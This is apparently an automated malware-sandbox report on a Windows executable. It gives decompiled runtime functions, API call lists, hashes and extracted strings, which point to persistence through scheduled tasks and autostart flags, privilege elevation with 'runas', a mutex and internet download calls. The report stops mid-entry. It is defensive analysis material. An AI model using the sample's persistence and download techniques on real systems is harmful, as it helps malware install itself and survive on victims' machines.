0x00406b5c
0x00406b5e
0x00406b60
0x00406b63
0x00406b69
0x00406b6b
0x00406b6d
0x00406b73
0x00406b75
0x00406b76
0x00406b7b
0x00406b73
0x00406b6b
0x00406b7c
0x00406b81
0x00406b84
0x00406b8a
0x00406b8e
0x00406b8e
0x00406b94
0x00406b9b
0x00406b2d
0x00406b2d
0x00406b2d
0x00406b32
0x00406b36
0x00406b3b
0x00406b43

APIs

__getptd.LIBCMT ref: 00406B16

Part of subcall function 00404763: __getptd_noexit.LIBCMT ref: 00404766
Part of subcall function 00404763: __amsg_exit.LIBCMT ref: 00404773

__amsg_exit.LIBCMT ref: 00406B36
__lock.LIBCMT ref: 00406B46
InterlockedDecrement.KERNEL32(?), ref: 00406B63
InterlockedIncrement.KERNEL32(00711620), ref: 00406B8E

Memory Dump Source

Source File: 00000001.00000002.361173679.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.361144929.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361323552.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361356847.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361373811.00000000004A1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361389421.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 8e79138a9fef8bb14e6f3146121894ead98681d02f3ee7b34af12d2ac9339ba4
Instruction ID: b7e7cdf4ab2dca7f0cb8ebeb8f993ade99b11a547bd211c41be5ebd1355b488d
Opcode Fuzzy Hash: 8e79138a9fef8bb14e6f3146121894ead98681d02f3ee7b34af12d2ac9339ba4
Instruction Fuzzy Hash: 14015E719006319BDA21AF699506B5A7B70AB04724F05003BE805F77D2C77C79A1CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00403BB5, Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E00403BB5(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t24;
				void* _t26;

				_push(0xc);
				_push(0x49d618);
				_t8 = E00402974(__ebx, __edi, __esi);
				_t24 =  *((intOrPtr*)(_t26 + 8));
				if(_t24 == 0) {
					L9:
					return E004029B9(_t8);
				}
				if( *0x524558 != 3) {
					_push(_t24);
					L7:
					_t8 = HeapFree( *0x4a0ea4, 0, ??);
					_t32 = _t8;
					if(_t8 == 0) {
						_t10 = E004030EA(_t32);
						 *_t10 = E004030A8(GetLastError());
					}
					goto L9;
				}
				E00401E7B(__ebx, __edx, __edi, 4);
				 *(_t26 - 4) =  *(_t26 - 4) & 0x00000000;
				_t13 = E00401EAE(_t24);
				 *((intOrPtr*)(_t26 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t24);
					_push(_t13);
					E00401EDE();
				}
				 *(_t26 - 4) = 0xfffffffe;
				_t8 = E00403C0B();
				if( *((intOrPtr*)(_t26 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t26 + 8)));
					goto L7;
				}
			}

0x00403bb5
0x00403bb7
0x00403bbc
0x00403bc1
0x00403bc6
0x00403c3d
0x00403c42
0x00403c42
0x00403bcf
0x00403c14
0x00403c15
0x00403c1d
0x00403c23
0x00403c25
0x00403c27
0x00403c3a
0x00403c3c
0x00000000
0x00403c25
0x00403bd3
0x00403bd9
0x00403bde
0x00403be4
0x00403be9
0x00403beb
0x00403bec
0x00403bed
0x00403bf3
0x00403bf4
0x00403bfb
0x00403c04
0x00000000
0x00403c06
0x00403c06
0x00000000
0x00403c06

APIs

__lock.LIBCMT ref: 00403BD3

Part of subcall function 00401E7B: __mtinitlocknum.LIBCMT ref: 00401E91
Part of subcall function 00401E7B: __amsg_exit.LIBCMT ref: 00401E9D
Part of subcall function 00401E7B: EnterCriticalSection.KERNEL32(?,?,?,0040736D,00000004,0049D850,0000000C,00404B99,?,?,00000000,00000000,00000000,?,00404715,00000001), ref: 00401EA5

___sbh_find_block.LIBCMT ref: 00403BDE
___sbh_free_block.LIBCMT ref: 00403BED
HeapFree.KERNEL32(00000000,?,0049D618,0000000C,00401E5C,00000000,0049D598,0000000C,00401E96,?,?,?,0040736D,00000004,0049D850,0000000C), ref: 00403C1D
GetLastError.KERNEL32(?,0040736D,00000004,0049D850,0000000C,00404B99,?,?,00000000,00000000,00000000,?,00404715,00000001,00000214), ref: 00403C2E

Memory Dump Source

Source File: 00000001.00000002.361173679.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.361144929.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361323552.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361356847.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361373811.00000000004A1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361389421.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: b0a696a28bc6dfe723afddc6b3b4f4e2ee9300bc59ba728f16f35dd9d8d689f6
Instruction ID: d88f6c722534de821edc574c016d73d15dafa5fb232e70ccbfc4cf7dbed02164
Opcode Fuzzy Hash: b0a696a28bc6dfe723afddc6b3b4f4e2ee9300bc59ba728f16f35dd9d8d689f6
Instruction Fuzzy Hash: A001A232A05205AAEF306F729D0AB5F3EA89F1172AF10403FF504B61D1CB3C8A409A9C

Uniqueness

Uniqueness Score: -1.00%

Function 00407AC8, Relevance: 6.1, APIs: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407AC8(void* __edx, void* __edi, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t74;

				_t74 = _a8;
				if(_t74 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t74 != 0) {
						E004067F2( &_v20, __edx, __edi, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E00407BF9( *_t74 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t74, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E004030EA(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t74[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t74, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t74 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x00407ad2
0x00407ad9
0x00407af0
0x00000000
0x00407ae0
0x00407ae2
0x00407afc
0x00407b01
0x00407b04
0x00407b07
0x00407b30
0x00407b37
0x00407b39
0x00407bba
0x00407bd5
0x00407bd7
0x00407b17
0x00407b17
0x00407b1a
0x00407b1c
0x00407b1f
0x00407b1f
0x00407b1f
0x00407b1f
0x00000000
0x00407b25
0x00407b99
0x00407b99
0x00407b9e
0x00407ba4
0x00407ba7
0x00407ba9
0x00407bac
0x00407bac
0x00407bac
0x00407bac
0x00000000
0x00407bb0
0x00407b3b
0x00407b3e
0x00407b44
0x00407b47
0x00407b6e
0x00407b71
0x00407b77
0x00000000
0x00000000
0x00407b79
0x00407b7c
0x00000000
0x00000000
0x00407b7e
0x00407b7e
0x00407b84
0x00407b87
0x00407af5
0x00407af5
0x00407b90
0x00000000
0x00407b90
0x00407b49
0x00407b4c
0x00000000
0x00000000
0x00407b50
0x00407b61
0x00407b67
0x00407b69
0x00407b6c
0x00000000
0x00000000
0x00000000
0x00407b6c
0x00407b09
0x00407b0c
0x00407b0e
0x00407b14
0x00407b14
0x00000000
0x00407ae4
0x00407ae4
0x00407ae9
0x00407aed
0x00407aed
0x00000000
0x00407ae9
0x00407ae2

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00407AFC
__isleadbyte_l.LIBCMT ref: 00407B30
MultiByteToWideChar.KERNEL32(?,00000009,00000000,?,00000000,00000000,?,?,?), ref: 00407B61
MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000001,00000000,00000000,?,?,?), ref: 00407BCF

Memory Dump Source

Source File: 00000001.00000002.361173679.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.361144929.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361323552.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361356847.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361373811.00000000004A1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361389421.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 0b87c5638e294279729cd718a694ef04b2b78dbd9d7a6a14a2ac802030e74201
Instruction ID: f86a876051c9e13ae1ef11263ff456c806a5fb4364bf98fb295cdecbd99c86f5
Opcode Fuzzy Hash: 0b87c5638e294279729cd718a694ef04b2b78dbd9d7a6a14a2ac802030e74201
Instruction Fuzzy Hash: 0B31B130E08255AFCB20DFA4C88096E3BB4BF01314B14457AE451AB2D2D734FE40DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040122C, Relevance: 6.0, APIs: 4, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040122C() {
				char _v1028;
				unsigned int _t3;
				unsigned int _t9;
				unsigned int* _t10;
				unsigned int* _t11;

				_t10 =  *0x5151c8;
				_t3 =  *0x5233fc >> 3;
				if(_t3 > 0) {
					_t11 = _t10;
					_t9 = _t3;
					do {
						if( *0x5233fc == 0xae9) {
							GetEnvironmentStringsW();
							GetModuleFileNameA(0,  &_v1028, 0);
							EndUpdateResourceW(0, 0);
							EnumResourceTypesA(0, 0, 0);
						}
						_t3 = E0040102E(_t11);
						_t11 = _t11 + 8;
						_t9 = _t9 - 1;
					} while (_t9 != 0);
				}
				return _t3;
			}

0x00401231
0x0040123f
0x00401247
0x00401249
0x0040124b
0x0040124d
0x00401257
0x00401259
0x00401266
0x0040126e
0x00401277
0x00401277
0x0040127e
0x00401283
0x00401286
0x00401286
0x0040124d
0x00401292

APIs

GetEnvironmentStringsW.KERNEL32(00000001,00000000), ref: 00401259
GetModuleFileNameA.KERNEL32(00000000,?,00000000), ref: 00401266
EndUpdateResourceW.KERNEL32(00000000,00000000), ref: 0040126E
EnumResourceTypesA.KERNEL32 ref: 00401277

Memory Dump Source

Source File: 00000001.00000002.361173679.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.361144929.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361323552.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361356847.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361373811.00000000004A1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361389421.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$EnumEnvironmentFileModuleNameStringsTypesUpdate
String ID:
API String ID: 3221797609-0
Opcode ID: c53ae85e4c2ebb3384eba3555cbaeee964412007827eb988a8996652b773fc0c
Instruction ID: 5931e7e15b075c259c0bf4b55413e3ec3fc9250ac5d32ea2bad64e79c89563b3
Opcode Fuzzy Hash: c53ae85e4c2ebb3384eba3555cbaeee964412007827eb988a8996652b773fc0c
Instruction Fuzzy Hash: 58F05472542124ABC6217B91FE4CCAF3A6CEFA6351B00013AF655E1260DB38594ADBF9

Uniqueness

Uniqueness Score: -1.00%

Function 00407276, Relevance: 6.0, APIs: 4, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00407276(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t13;
				void* _t25;
				intOrPtr _t27;
				intOrPtr _t29;
				void* _t30;
				void* _t31;

				_t31 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x49d830);
				E00402974(__ebx, __edi, __esi);
				_t29 = E00404763(__ebx, _t31);
				_t13 =  *0x49fca0; // 0xfffffffe
				if(( *(_t29 + 0x70) & _t13) == 0) {
					L6:
					E00401E7B(_t22, _t25, _t26, 0xc);
					 *(_t30 - 4) =  *(_t30 - 4) & 0x00000000;
					_t8 = _t29 + 0x6c; // 0x6c
					_t27 =  *0x49fc78; // 0x49fba0
					 *((intOrPtr*)(_t30 - 0x1c)) = E00407238(_t8, _t25, _t27);
					 *(_t30 - 4) = 0xfffffffe;
					E004072E0();
				} else {
					_t33 =  *((intOrPtr*)(_t29 + 0x6c));
					if( *((intOrPtr*)(_t29 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t29 =  *((intOrPtr*)(E00404763(_t22, _t33) + 0x6c));
					}
				}
				if(_t29 == 0) {
					E00402BBC(_t25, 0x20);
				}
				return E004029B9(_t29);
			}

0x00407276
0x00407276
0x00407276
0x00407276
0x00407276
0x00407278
0x0040727d
0x00407287
0x00407289
0x00407291
0x004072b5
0x004072b7
0x004072bd
0x004072c1
0x004072c4
0x004072cf
0x004072d2
0x004072d9
0x00407293
0x00407293
0x00407297
0x00000000
0x00407299
0x0040729e
0x0040729e
0x00407297
0x004072a3
0x004072a7
0x004072ac
0x004072b4

APIs

__getptd.LIBCMT ref: 00407282

Part of subcall function 00404763: __getptd_noexit.LIBCMT ref: 00404766
Part of subcall function 00404763: __amsg_exit.LIBCMT ref: 00404773

__getptd.LIBCMT ref: 00407299
__amsg_exit.LIBCMT ref: 004072A7
__lock.LIBCMT ref: 004072B7

Memory Dump Source

Source File: 00000001.00000002.361173679.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.361144929.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361323552.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361356847.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361373811.00000000004A1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361389421.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: a66766040d5c99c67bef77dbe990db916fa77483151dbea97b1db6aa5c330d21
Instruction ID: a69dae38b482687d40f4d25f0a4360fa5c61ba89ee383e2e75f3006d8679663d
Opcode Fuzzy Hash: a66766040d5c99c67bef77dbe990db916fa77483151dbea97b1db6aa5c330d21
Instruction Fuzzy Hash: BBF06D31E447049BD620BB768506B4E73A06B41724F5042BFB950BB2D2CBBCA901CA9F

Uniqueness

Uniqueness Score: -1.00%

Function 0040369E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040369E() {
				intOrPtr _t5;
				intOrPtr _t6;
				intOrPtr _t10;
				void* _t12;
				intOrPtr _t15;
				intOrPtr* _t16;
				signed int _t19;
				signed int _t20;
				intOrPtr _t26;
				intOrPtr _t27;

				_t5 =  *0x524420;
				_t26 = 0x14;
				if(_t5 != 0) {
					if(_t5 < _t26) {
						_t5 = _t26;
						goto L4;
					}
				} else {
					_t5 = 0x200;
					L4:
					 *0x524420 = _t5;
				}
				_t6 = E00404B83(_t5, 4);
				 *0x523410 = _t6;
				if(_t6 != 0) {
					L8:
					_t19 = 0;
					_t15 = 0x49f398;
					while(1) {
						 *((intOrPtr*)(_t19 + _t6)) = _t15;
						_t15 = _t15 + 0x20;
						_t19 = _t19 + 4;
						if(_t15 >= 0x49f618) {
							break;
						}
						_t6 =  *0x523410;
					}
					_t27 = 0xfffffffe;
					_t20 = 0;
					_t16 = 0x49f3a8;
					do {
						_t10 =  *((intOrPtr*)(((_t20 & 0x0000001f) << 6) +  *((intOrPtr*)(0x524440 + (_t20 >> 5) * 4))));
						if(_t10 == 0xffffffff || _t10 == _t27 || _t10 == 0) {
							 *_t16 = _t27;
						}
						_t16 = _t16 + 0x20;
						_t20 = _t20 + 1;
					} while (_t16 < 0x49f408);
					return 0;
				} else {
					 *0x524420 = _t26;
					_t6 = E00404B83(_t26, 4);
					 *0x523410 = _t6;
					if(_t6 != 0) {
						goto L8;
					} else {
						_t12 = 0x1a;
						return _t12;
					}
				}
			}

0x0040369e
0x004036a6
0x004036a9
0x004036b4
0x004036b6
0x00000000
0x004036b6
0x004036ab
0x004036ab
0x004036b8
0x004036b8
0x004036b8
0x004036c0
0x004036c7
0x004036ce
0x004036ee
0x004036ee
0x004036f0
0x004036fc
0x004036fc
0x004036ff
0x00403702
0x0040370b
0x00000000
0x00000000
0x004036f7
0x004036f7
0x0040370f
0x00403710
0x00403712
0x00403718
0x0040372c
0x00403732
0x0040373c
0x0040373c
0x0040373e
0x00403741
0x00403742
0x0040374e
0x004036d0
0x004036d3
0x004036d9
0x004036e0
0x004036e7
0x00000000
0x004036e9
0x004036eb
0x004036ed
0x004036ed
0x004036e7

APIs

__calloc_crt.LIBCMT ref: 004036C0
__calloc_crt.LIBCMT ref: 004036D9

Strings

4R, xrefs: 004036F0

Memory Dump Source

Source File: 00000001.00000002.361173679.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.361144929.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361323552.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361356847.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361373811.00000000004A1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361389421.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: __calloc_crt
String ID: 4R
API String ID: 3494438863-4181941469
Opcode ID: 41d1aaf42289aaa5eb52a441086e98b2bc9d6f2a9c9eb88d027759527555a963
Instruction ID: c2362c295b1daf57746bd59c6d0b3ac5332547f6bcad01e71a20195a9ff318e8
Opcode Fuzzy Hash: 41d1aaf42289aaa5eb52a441086e98b2bc9d6f2a9c9eb88d027759527555a963
Instruction Fuzzy Hash: 77113DB130021167EB349E1EBC406613AD9AB95339B14463FE510EB3D4E73DD98659CC

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ZZGJ1bZClw.exe PID: 6604 Parent PID: 6900 ZZGJ1bZClw.exeCOMMON

Executed Functions

Function 00419F90, Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,0087D910,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
IsNotTask, xrefs: 0041A654
runas, xrefs: 0041A6CE
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
--Service, xrefs: 0041A30B
--Task, xrefs: 0041A2CD
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
C:\Windows\, xrefs: 0041AE0F
IsAutoStart, xrefs: 0041A1D0, 0041A273
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
--ForNetRes, xrefs: 0041A22E
--Admin, xrefs: 0041A1B4, 0041A632
7P, xrefs: 0041B164
x2Q, xrefs: 0041A856
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
C:\Program Files\Google\, xrefs: 0041AFB9
D:\Program Files (x86)\Google\, xrefs: 0041B085
<, xrefs: 0041A67B
I:\5d2860c89d774.jpg, xrefs: 0041B32F
--AutoStart, xrefs: 0041A2EC
x*P, xrefs: 0041ACE4
%username%, xrefs: 0041B283
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
D:\Program Files\Google\, xrefs: 0041B0EE
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
IsTask, xrefs: 0041A1EE, 0041A299
D:\Windows\, xrefs: 0041AFF3
X1P, xrefs: 0041A485
IsNotAutoStart, xrefs: 0041A645
F:\, xrefs: 0041B397
list<T> too long, xrefs: 0041B669, 0041B673

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: 5654f1f0d8902897548b635c0c3de12d41863b9e7f9f148f59327b5af1546f90
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 5654f1f0d8902897548b635c0c3de12d41863b9e7f9f148f59327b5af1546f90
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240, Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

--Task, xrefs: 0040D8DD
2030-05-02T08:00:00, xrefs: 0040D737
Trigger1, xrefs: 0040D6FA
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
Time Trigger Task, xrefs: 0040D43C, 0040D973
PT5M, xrefs: 0040D5A1, 0040D66C
Author Name, xrefs: 0040D4C8
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11

Memory Dump Source

Source File: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.369370821.0000000000529000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.369375819.000000000052B000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240, Relevance: 56.7, APIs: 24, Strings: 8, Instructions: 702comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
Time Trigger Task, xrefs: 0040D43C, 0040D973
Trigger1, xrefs: 0040D6FA
PT5M, xrefs: 0040D5A1, 0040D66C
2030-05-02T08:00:00, xrefs: 0040D737
Author Name, xrefs: 0040D4C8
--Task, xrefs: 0040D8DD

Memory Dump Source

Source File: 00000002.00000001.359707348.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.361130595.0000000000529000.00000040.00020000.sdmp Download File
Associated: 00000002.00000001.361145739.000000000052B000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10, Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228networkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040CF4A
